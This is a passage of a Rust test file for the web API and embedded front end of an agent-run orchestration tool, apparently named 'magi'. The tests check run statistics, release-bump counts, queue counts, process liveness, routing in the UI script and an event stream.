7963 state.id = "20260902-140501-a".to_owned();
7964 state.status = RunStatus::Merged;
7965 state.advice = Some(Advice {
7966 records: vec![
7967 AdvisorRecord {
7968 seat: "advisor-1".to_owned(),
7969 agent: "alpha".to_owned(),
7970 proposal: Some(Proposal {
7971 approach: "do it".to_owned(),
7972 key_tradeoff: "speed over memory".to_owned(),
7973 risks: Vec::new(),
7974 touches: Vec::new(),
7975 why_not_naive: "breaks under load".to_owned(),
7976 }),
7977 error: None,
7978 duration_ms: 0,
7979 reflection: Reflection::Strong,
7980 },
7981 AdvisorRecord {
7982 seat: "advisor-2".to_owned(),
7983 agent: "alpha".to_owned(),
7984 proposal: None,
7985 error: Some("timed out".to_owned()),
7986 duration_ms: 0,
7987 reflection: Reflection::Absent,
7988 },
7989 ],
7990 synthesis: Some("blended brief".to_owned()),
7991 });
7992 let dir = f.runs().join(&state.id);
7993 std::fs::create_dir_all(&dir).expect("run dir");
7994 std::fs::write(
7995 dir.join("run.json"),
7996 serde_json::to_string_pretty(&state).expect("serialize run"),
7997 )
7998 .expect("write run.json");
7999
8000 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
8001 let alpha = advisors
8002 .as_array()
8003 .expect("an array")
8004 .iter()
8005 .find(|a| a["agent"] == "alpha")
8006 .expect("alpha row");
8007 assert_eq!(alpha["seated"], 2);
8008 assert_eq!(alpha["proposed"], 1);
8009 assert_eq!(alpha["absent"], 1);
8010 assert_eq!(alpha["strong"], 1);
8011 assert_eq!(alpha["faint"], 0);
8012 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
8013 }
8014
8015 #[tokio::test]
8016 async fn stats_release_bumps_split_clean_from_attention() {
8017 use crate::run::ReleaseBump;
8018
8019 let f = Fixture::start().await;
8020
8021 let mut clean = RunState::new(
8022 PathBuf::from("/repo/magi"),
8023 "main".to_owned(),
8024 "0123456789abcdef".to_owned(),
8025 "task".to_owned(),
8026 Config::default(),
8027 );
8028 clean.id = "20260902-140501-a".to_owned();
8029 clean.status = RunStatus::Merged;
8030 clean.release_bump = Some(ReleaseBump {
8031 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
8032 version: Some("1.0.0".to_owned()),
8033 automerge_enabled: true,
8034 merged_directly: false,
8035 problem: None,
8036 action_required: None,
8037 });
8038
8039 let mut blocked = RunState::new(
8040 PathBuf::from("/repo/magi"),
8041 "main".to_owned(),
8042 "0123456789abcdef".to_owned(),
8043 "task".to_owned(),
8044 Config::default(),
8045 );
8046 blocked.id = "20260902-140502-b".to_owned();
8047 blocked.status = RunStatus::Merged;
8048 blocked.release_bump = Some(ReleaseBump {
8049 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
8050 version: Some("1.0.1".to_owned()),
8051 automerge_enabled: false,
8052 merged_directly: false,
8053 problem: Some("checks red".to_owned()),
8054 action_required: Some("look at the PR".to_owned()),
8055 });
8056
8057 for state in [&clean, &blocked] {
8058 let dir = f.runs().join(&state.id);
8059 std::fs::create_dir_all(&dir).expect("run dir");
8060 std::fs::write(
8061 dir.join("run.json"),
8062 serde_json::to_string_pretty(state).expect("serialize run"),
8063 )
8064 .expect("write run.json");
8065 }
8066
8067 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
8068 assert_eq!(bumps["merged"], 2);
8069 assert_eq!(bumps["recorded"], 2);
8070 assert_eq!(bumps["pr_opened"], 2);
8071 assert_eq!(bumps["automerge_enabled"], 1);
8072 assert_eq!(bumps["needs_attention"], 1);
8073 assert_eq!(bumps["clean"], 1);
8074 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
8075 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
8076 }
8077
8078 #[tokio::test]
8079 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
8080 let f = Fixture::start().await;
8081 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
8082
8083 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
8084 assert_eq!(bumps["merged"], 1);
8085 assert_eq!(bumps["recorded"], 0);
8086 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
8089 assert_eq!(bumps["automerge_rate"], Value::Null);
8092 assert_eq!(bumps["attention_rate"], Value::Null);
8093 }
8094
8095 #[tokio::test]
8096 async fn stats_queue_counts_come_from_the_live_queue() {
8097 let f = Fixture::start().await;
8098 let q = f.queue();
8099 let mut queued = Task::new(
8100 "queued task".to_owned(),
8101 "do it".to_owned(),
8102 PathBuf::from("/repo"),
8103 Source::Human,
8104 );
8105 q.put(&mut queued).expect("put queued");
8106 let mut held = Task::new(
8107 "held task".to_owned(),
8108 "do it later".to_owned(),
8109 PathBuf::from("/repo"),
8110 Source::Human,
8111 );
8112 held.hold_machine(Some("out of attempts".to_owned()));
8113 q.put(&mut held).expect("put held");
8114
8115 let queue = f.get("/api/stats").await.json()["queue"].clone();
8116 assert_eq!(queue["queued"], 1);
8117 assert_eq!(queue["held"], 1);
8118 assert_eq!(queue["running"], 0);
8119 assert_eq!(queue["done"], 0);
8120 assert_eq!(queue["failed"], 0);
8121 assert_eq!(queue["blocked"], 0);
8122 }
8123
8124 #[tokio::test]
8125 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
8126 let f = Fixture::start().await;
8127 let stats = f.get("/api/stats").await;
8128 assert_eq!(stats.status, 200);
8129 assert_eq!(stats.json()["totals"]["runs"], 0);
8130 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
8131 assert_eq!(stats.json()["runs_unreadable"], 0);
8132 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
8133 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
8134 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
8135 assert_eq!(stats.json()["repo"], Value::Null);
8136 }
8137
8138 #[tokio::test]
8139 async fn stats_lists_every_repository_with_runs_recorded() {
8140 let f = Fixture::start().await;
8141 write_run_repo(
8142 &f.runs(),
8143 "20260902-140501-a",
8144 RunStatus::Merged,
8145 "/repos/a",
8146 );
8147 write_run_repo(
8148 &f.runs(),
8149 "20260902-140502-b",
8150 RunStatus::Merged,
8151 "/repos/a",
8152 );
8153 write_run_repo(
8154 &f.runs(),
8155 "20260902-140503-c",
8156 RunStatus::Blocked,
8157 "/repos/b",
8158 );
8159
8160 let stats = f.get("/api/stats").await;
8161 assert_eq!(stats.status, 200);
8162 assert_eq!(stats.json()["totals"]["runs"], 3);
8164 assert_eq!(stats.json()["repo"], Value::Null);
8165
8166 let repos = stats.json()["repos"].clone();
8167 let repos = repos.as_array().unwrap();
8168 assert_eq!(repos.len(), 2);
8169 assert_eq!(repos[0]["repo"], "/repos/a");
8171 assert_eq!(repos[0]["name"], "a");
8172 assert_eq!(repos[0]["runs"], 2);
8173 assert_eq!(repos[1]["repo"], "/repos/b");
8174 assert_eq!(repos[1]["runs"], 1);
8175 }
8176
8177 #[tokio::test]
8178 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
8179 let f = Fixture::start().await;
8180 write_run_repo(
8181 &f.runs(),
8182 "20260902-140501-a",
8183 RunStatus::Merged,
8184 "/repos/a",
8185 );
8186 write_run_repo(
8187 &f.runs(),
8188 "20260902-140502-b",
8189 RunStatus::Blocked,
8190 "/repos/b",
8191 );
8192
8193 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
8194 assert_eq!(stats.status, 200);
8195 assert_eq!(stats.json()["totals"]["runs"], 1);
8196 assert_eq!(stats.json()["totals"]["merged"], 1);
8197 assert_eq!(stats.json()["repo"], "/repos/a");
8198 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
8201 assert_eq!(stats.json()["runs_unreadable"], 0);
8204 }
8205
8206 #[tokio::test]
8207 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
8208 let f = Fixture::start().await;
8209 write_run_repo(
8210 &f.runs(),
8211 "20260902-140501-a",
8212 RunStatus::Merged,
8213 "/repos/a",
8214 );
8215
8216 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
8217 assert_eq!(stats.status, 404);
8218 }
8219
8220 #[tokio::test]
8221 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
8222 let f = Fixture::start().await;
8223 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
8224
8225 let summary = f.get("/api/runs").await.json();
8226 let row = &summary[0];
8227 assert_eq!(row["short"], "a1b2");
8228 assert_eq!(row["status"], "ready");
8229 assert_eq!(row["done"], true);
8230 assert_eq!(row["title"], "Add a web UI");
8231 assert_eq!(row["repo_name"], "magi");
8232 assert_eq!(row["judges"], 3);
8233 assert_eq!(row["winner"], Value::Null);
8234 assert_eq!(row["reviews"], 0);
8235
8236 let detail = f.get("/api/runs/a1b2").await;
8239 assert_eq!(detail.status, 200);
8240 assert_eq!(detail.json()["base_branch"], "main");
8241 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
8242 }
8243
8244 #[tokio::test]
8252 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
8253 let f = Fixture::start().await;
8254
8255 let mut none_run = RunState::new(
8256 PathBuf::from("/repo/magi"),
8257 "main".to_owned(),
8258 "0123456789abcdef".to_owned(),
8259 "Add a web UI".to_owned(),
8260 Config::default(),
8261 );
8262 none_run.id = "20260902-140503-none".to_owned();
8263 none_run.status = RunStatus::Ready;
8264 none_run.merge = Some(crate::run::MergeOutcome {
8265 mode: crate::config::MergeMode::None,
8266 ok: true,
8267 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
8268 empty: false,
8269 });
8270 write_state(&f.runs(), &none_run);
8271
8272 let mut pr_run = RunState::new(
8273 PathBuf::from("/repo/magi"),
8274 "main".to_owned(),
8275 "0123456789abcdef".to_owned(),
8276 "Add a web UI".to_owned(),
8277 Config::default(),
8278 );
8279 pr_run.id = "20260902-140504-prcl".to_owned();
8280 pr_run.status = RunStatus::Ready;
8281 pr_run.merge = Some(crate::run::MergeOutcome {
8282 mode: crate::config::MergeMode::Pr,
8283 ok: false,
8284 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
8285 empty: false,
8286 });
8287 write_state(&f.runs(), &pr_run);
8288
8289 let summary = f.get("/api/runs").await.json();
8290 let rows: std::collections::HashMap<&str, &Value> = summary
8291 .as_array()
8292 .expect("an array")
8293 .iter()
8294 .map(|r| (r["id"].as_str().expect("an id"), r))
8295 .collect();
8296 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
8297 assert_eq!(
8298 rows[none_run.id.as_str()]["unmerged_by_design"],
8299 true,
8300 "a mode-none Ready must be flagged in the list"
8301 );
8302 assert_eq!(
8303 rows[pr_run.id.as_str()]["unmerged_by_design"],
8304 false,
8305 "a Ready reached by a closed pull request is a different case"
8306 );
8307
8308 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
8309 assert_eq!(none_detail["status"], "ready");
8310 assert_eq!(none_detail["unmerged_by_design"], true);
8311
8312 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
8313 assert_eq!(pr_detail["unmerged_by_design"], false);
8314 }
8315
8316 #[tokio::test]
8321 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
8322 let f = Fixture::start().await;
8323 let id = "20260902-140502-bbbb";
8327 let mut state = RunState::new(
8328 PathBuf::from("/repo/magi"),
8329 "main".to_owned(),
8330 "0123456789abcdef".to_owned(),
8331 "Add a web UI".to_owned(),
8332 Config::default(),
8333 );
8334 state.id = id.to_owned();
8335 state.status = RunStatus::Judging;
8336 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
8337 let dir = f.runs().join(id);
8338 std::fs::create_dir_all(&dir).expect("run dir");
8339 std::fs::write(
8340 dir.join("run.json"),
8341 serde_json::to_string_pretty(&state).expect("serialize run"),
8342 )
8343 .expect("write run.json");
8344
8345 let cold = f.get(&format!("/api/runs/{id}")).await.json();
8351 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
8352 assert_eq!(cold["live"], "unknown", "{cold}");
8353
8354 write_daemon(f.home.path(), Timestamp::now());
8357 let warm = f.get(&format!("/api/runs/{id}")).await.json();
8358 assert_eq!(warm["live"], "live", "{warm}");
8359 }
8360
8361 #[tokio::test]
8368 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
8369 let f = Fixture::start().await;
8370 let id = "20260922-090000-cccc";
8371 let mut state = RunState::new(
8372 PathBuf::from("/repo/magi"),
8373 "main".to_owned(),
8374 "0123456789abcdef".to_owned(),
8375 "Review only".to_owned(),
8376 Config::default(),
8377 );
8378 state.id = id.to_owned();
8379 state.status = RunStatus::Reviewing;
8380 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8381 state.driver_pid = Some(std::process::id());
8387 state.driver_started_at = Some(
8388 crate::proc::process_started_at(std::process::id())
8389 .expect("this test process's own start time must be queryable"),
8390 );
8391 let dir = f.runs().join(id);
8392 std::fs::create_dir_all(&dir).expect("run dir");
8393 std::fs::write(
8394 dir.join("run.json"),
8395 serde_json::to_string_pretty(&state).expect("serialize run"),
8396 )
8397 .expect("write run.json");
8398
8399 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8400 assert_eq!(detail["live"], "live", "{detail}");
8401 }
8402
8403 #[tokio::test]
8409 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
8410 let f = Fixture::start().await;
8411 let id = "20260922-090100-dddd";
8412 let mut state = RunState::new(
8413 PathBuf::from("/repo/magi"),
8414 "main".to_owned(),
8415 "0123456789abcdef".to_owned(),
8416 "Review only".to_owned(),
8417 Config::default(),
8418 );
8419 state.id = id.to_owned();
8420 state.status = RunStatus::Reviewing;
8421 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8422 state.driver_pid = Some(std::process::id());
8427 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
8428 let dir = f.runs().join(id);
8429 std::fs::create_dir_all(&dir).expect("run dir");
8430 std::fs::write(
8431 dir.join("run.json"),
8432 serde_json::to_string_pretty(&state).expect("serialize run"),
8433 )
8434 .expect("write run.json");
8435
8436 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8437 assert_eq!(detail["live"], "dead", "{detail}");
8438 }
8439
8440 #[test]
8444 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
8445 let mk = |id: &str, pid: Option<u32>| {
8446 let mut s = RunState::new(
8447 PathBuf::from("/repo/magi"),
8448 "main".to_owned(),
8449 "0123456789abcdef".to_owned(),
8450 "Add a web UI".to_owned(),
8451 Config::default(),
8452 );
8453 s.id = id.to_owned();
8454 s.driver_pid = pid;
8455 s.driver_started_at = Some("t0".to_owned());
8456 s
8457 };
8458 let states = vec![
8459 mk("20260902-140502-aaaa", Some(77)),
8460 mk("20260902-140502-bbbb", Some(77)),
8461 mk("20260902-140502-cccc", Some(77)),
8462 mk("20260902-140502-dddd", None),
8463 ];
8464 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
8465 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
8466 let sup: HashMap<String, String> = [(
8467 "20260902-140502-aaaa".to_owned(),
8468 "20260902-140502-cccc".to_owned(),
8469 )]
8470 .into();
8471
8472 let status_calls = std::cell::Cell::new(0);
8473 let identity_calls = std::cell::Cell::new(0);
8474 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
8475 |_| {
8476 status_calls.set(status_calls.get() + 1);
8477 Some(true)
8478 },
8479 |_| {
8480 identity_calls.set(identity_calls.get() + 1);
8481 Some("t0".to_owned())
8482 },
8483 ));
8484 let rows = summarize(
8485 states,
8486 &open,
8487 &claimed,
8488 &sup,
8489 |p| probe.borrow_mut().status(p),
8490 |p| probe.borrow_mut().started_at(p),
8491 );
8492
8493 assert_eq!(status_calls.get(), 1, "one pid, one status query");
8494 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
8495 assert_eq!(rows.len(), 4);
8496 assert!(!rows[0].waiting && rows[1].waiting);
8497 assert_eq!(rows[0].live, crate::run::Liveness::Live);
8498 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
8499 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
8500 assert_eq!(rows[1].superseded_by, None);
8501 }
8502
8503 #[test]
8504 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
8505 let mut state = RunState::new(
8506 PathBuf::from("/repo/magi"),
8507 "main".to_owned(),
8508 "0123456789abcdef".to_owned(),
8509 "Review only".to_owned(),
8510 Config::default(),
8511 );
8512 state.id = "20260922-090200-dead".to_owned();
8513 state.status = RunStatus::Reviewing;
8514 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
8515 .expect("serialize list row");
8516 assert_eq!(row["status"], "reviewing");
8517 assert_eq!(row["live"], "dead", "{row}");
8518 assert!(!row["done"].as_bool().unwrap());
8519 }
8520
8521 #[tokio::test]
8522 async fn the_run_list_is_newest_first_and_honours_a_limit() {
8523 let f = Fixture::start().await;
8524 for id in [
8525 "20260902-140501-aaaa",
8526 "20260902-140502-bbbb",
8527 "20260902-140503-cccc",
8528 ] {
8529 write_run(&f.runs(), id, RunStatus::Merged);
8530 }
8531
8532 let all = f.get("/api/runs").await.json();
8533 let capped = f.get("/api/runs?limit=2").await.json();
8534
8535 assert_eq!(all[0]["id"], "20260902-140503-cccc");
8536 assert_eq!(all.as_array().map(Vec::len), Some(3));
8537 assert_eq!(capped.as_array().map(Vec::len), Some(2));
8538 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
8539 }
8540
8541 #[tokio::test]
8542 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
8543 let f = Fixture::start().await;
8544 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
8545
8546 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
8547
8548 assert_eq!(res.status, 200);
8549 assert!(
8550 res.headers
8551 .contains("content-type: text/plain; charset=utf-8"),
8552 "a browser must render it, not download it: {}",
8553 res.headers
8554 );
8555 assert!(
8559 res.body.contains("20260902-140501-a1b2"),
8560 "the report is about the run that was asked for: {}",
8561 res.body
8562 );
8563 }
8564
8565 #[tokio::test]
8566 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
8567 let f = Fixture::start().await;
8568
8569 let html = f.get("/").await;
8570 let css = f.get("/app.css").await;
8571 let js = f.get("/app.js").await;
8572
8573 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
8574 assert!(
8575 html.headers
8576 .contains("content-type: text/html; charset=utf-8")
8577 );
8578 assert!(css.headers.contains("content-type: text/css"));
8579 assert!(js.headers.contains("content-type: text/javascript"));
8580 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
8581 }
8582
8583 #[test]
8584 fn live_runs_are_never_hidden_or_folded_as_superseded() {
8585 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
8586 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
8587 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
8588 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
8589 }
8590
8591 #[test]
8592 fn review_rounds_label_a_distinct_verified_head() {
8593 assert!(APP_JS.contains("round.verified_head"));
8594 assert!(APP_JS.contains("verified HEAD"));
8595 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
8596 }
8597
8598 #[test]
8599 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
8600 assert!(APP_JS.contains("blocked: { glyph:"));
8604 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
8605
8606 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
8610 assert!(
8611 APP_JS.contains(
8612 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
8613 ),
8614 "the note line must name what a blocked task is waiting on, not just that it is blocked"
8615 );
8616 assert!(APP_JS.contains("if (status === \"blocked\") {"));
8620
8621 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
8625 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
8626 assert!(
8627 APP_JS.contains("location.hash = \"#/questions\";"),
8628 "a question node must jump to the Questions screen, not pretend to be a task"
8629 );
8630
8631 assert!(APP_JS.contains("Resolved questions"));
8634 assert!(APP_JS.contains("r.answersList.append("));
8635 assert!(APP_CSS.contains(".task-answers"));
8636 {
8637 let start = APP_JS
8638 .find("function updateTalkTaskRow")
8639 .expect("updateTalkTaskRow");
8640 let body = &APP_JS[start..start + 900];
8641 assert!(body.contains("task.runs[") || body.contains("runs[runs.length - 1]"));
8642 assert!(body.contains("setAttr(r.link, \"href\""));
8643 assert!(body.contains(
8644 "latest ? `#/runs/${latest}` : `#/queue/${encodeURIComponent(task.id)}`"
8645 ));
8646 assert!(
8647 !body.contains(": \"#/queue\""),
8648 "a task with no run must link to its own queue card, not the bare queue"
8649 );
8650 assert!(APP_CSS.contains(".talk-task-link"));
8651 }
8652 }
8653
8654 #[test]
8655 fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
8656 assert!(
8661 APP_JS.contains(
8662 "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
8663 ),
8664 "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
8665 );
8666 assert!(
8667 !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
8668 "regression: the task link must not go back to naming the bare Backlog route"
8669 );
8670
8671 assert!(
8674 APP_JS.contains(
8675 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
8676 ),
8677 "`#/queue/<id>` must parse into a route carrying that id"
8678 );
8679
8680 assert!(APP_JS.contains("state.queueFocus = route.id;"));
8684 assert!(APP_JS.contains("function consumeQueueFocus()"));
8685 assert!(APP_JS.contains("jumpToTask(id)"));
8686 }
8687
8688 #[test]
8689 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
8690 assert!(
8699 APP_JS.contains(
8700 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
8701 ),
8702 "the search-clearing branch must run before state.queueFocus is cleared, or the \
8703 recursive renderQueue() call has nothing left to jump to"
8704 );
8705 assert!(
8706 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
8707 "state.queueFocus must be cleared only once the jump has landed, so a card that \
8708 arrives later still gets it"
8709 );
8710 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
8711 assert!(APP_JS.contains("is not in the current Backlog."));
8712 assert!(APP_JS.contains("li.card[data-task-id=\""));
8713 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
8714 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
8715 assert!(APP_CSS.contains(".card-permalink"));
8716 assert!(APP_CSS.contains(".queue-focus-status"));
8717 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
8718 }
8719
8720 #[test]
8721 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
8722 assert!(
8730 APP_JS.contains(
8731 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
8732 ),
8733 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
8734 );
8735 }
8736
8737 #[test]
8738 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
8739 assert!(
8740 APP_JS.contains("round.verified_head !== round.head"),
8741 "a round that verified an earlier commit must be visibly distinct from one that \
8742 verified the head reviewers are looking at now"
8743 );
8744 assert!(
8745 APP_JS.contains("round.verified_at"),
8746 "when a check ran must be on the wire, not just which commit"
8747 );
8748 assert!(
8749 APP_JS.contains("resource_blocked"),
8750 "a command magi never got to run (shared build cache contention) must not render \
8751 the same as a command that ran and failed"
8752 );
8753 }
8754
8755 #[test]
8756 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
8757 assert!(
8765 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
8766 "every KPI tile built through statusTile() must route its click through \
8767 openRunsFiltered, the single place that sets the Runs filter"
8768 );
8769 for (label, status) in [
8770 ("Merged", "merged"),
8771 ("Ready", "ready"),
8772 ("Blocked", "blocked"),
8773 ("Stalled", "stalled"),
8774 ] {
8775 let call = format!("statusTile(\"{label}\", t.{status}, ");
8776 assert!(
8777 APP_JS.contains(&call),
8778 "expected the {label} KPI tile built via {call}..."
8779 );
8780 assert!(
8781 APP_JS.contains(&format!("status === \"{status}\"")),
8782 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
8783 compare a run against, not one invented only for the stats tile"
8784 );
8785 }
8786 assert!(
8787 APP_JS.contains("function openRunsFiltered(status)"),
8788 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
8789 );
8790 assert!(
8791 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
8792 "matchesFilter must gate on the exact status a KPI tile named"
8793 );
8794 assert!(
8802 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
8803 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
8804 hashchange event that may never fire"
8805 );
8806 }
8807
8808 #[test]
8809 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
8810 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
8816 assert!(
8817 APP_JS.contains(
8818 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
8819 ),
8820 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
8821 guard for an incompatible tree section"
8822 );
8823 }
8824
8825 #[test]
8826 fn every_stats_queue_tile_names_a_real_queue_section() {
8827 assert!(
8833 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
8834 "every queue tile built through sectionTile() must route its click through \
8835 openQueueSectionFocus"
8836 );
8837 for key in ["upnext", "running", "done", "held", "blocked"] {
8838 assert!(
8839 APP_JS.contains(&format!("{{ key: \"{key}\",")),
8840 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
8841 );
8842 }
8843 for line in [
8847 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
8848 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
8849 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
8850 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
8851 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
8852 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
8853 ] {
8854 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
8855 }
8856 }
8857
8858 #[test]
8859 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
8860 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
8867 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
8868 assert!(APP_JS.contains("function revealQueueSection(details)"));
8869 assert!(
8870 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
8871 "renderQueue() must consume both focus channels on every pass"
8872 );
8873 assert!(
8874 APP_JS.contains(
8875 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
8876 ),
8877 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
8878 the recursive renderQueue() call has nothing left to reveal"
8879 );
8880 assert!(
8881 APP_JS.contains(
8882 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
8883 ),
8884 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
8885 );
8886 assert!(
8894 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
8895 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
8896 hashchange event that may never fire"
8897 );
8898 }
8899
8900 #[tokio::test]
8901 async fn the_change_stream_announces_the_current_revisions_on_connect() {
8902 let f = Fixture::start().await;
8903
8904 let mut socket = tokio::net::TcpStream::connect(f.addr)
8905 .await
8906 .expect("connect");
8907 socket
8908 .write_all(
8909 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
8910 )
8911 .await
8912 .expect("write request");
8913
8914 let mut seen = String::new();
8917 let mut buf = [0u8; 1024];
8918 while !seen.contains("event: change") {
8919 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
8920 .await
8921 .expect("the stream must speak within five seconds")
8922 .expect("read");
8923 assert!(read > 0, "the server closed the change stream: {seen}");
8924 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
8925 }
8926
8927 assert!(
8928 seen.to_lowercase()
8929 .contains("content-type: text/event-stream"),
8930 "the browser only reconnects automatically for a real SSE stream: {seen}"
8931 );
8932 let data = seen
8933 .lines()
8934 .find_map(|l| l.strip_prefix("data:"))
8935 .expect("a data line");
8936 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
8937 assert!(
8938 payload["queue_rev"].is_u64()
8939 && payload["runs_rev"].is_u64()
8940 && payload["questions_rev"].is_u64()
8941 && payload["talks_rev"].is_u64()
8942 && payload["notifications_rev"].is_u64()
8943 && payload["loop_rev"].is_u64(),
8944 "the client needs one revision per store to know what to refetch, \
8945 and `talks_rev` is the only notification a standing talk gets - a \
8946 phone whose radio slept through a turn learns about it here, as \
8947 does one whose operator started the loop from another device: \
8948 {payload}"
8949 );
8950
8951 let health = f.get("/api/health").await.json();
8958 for key in [
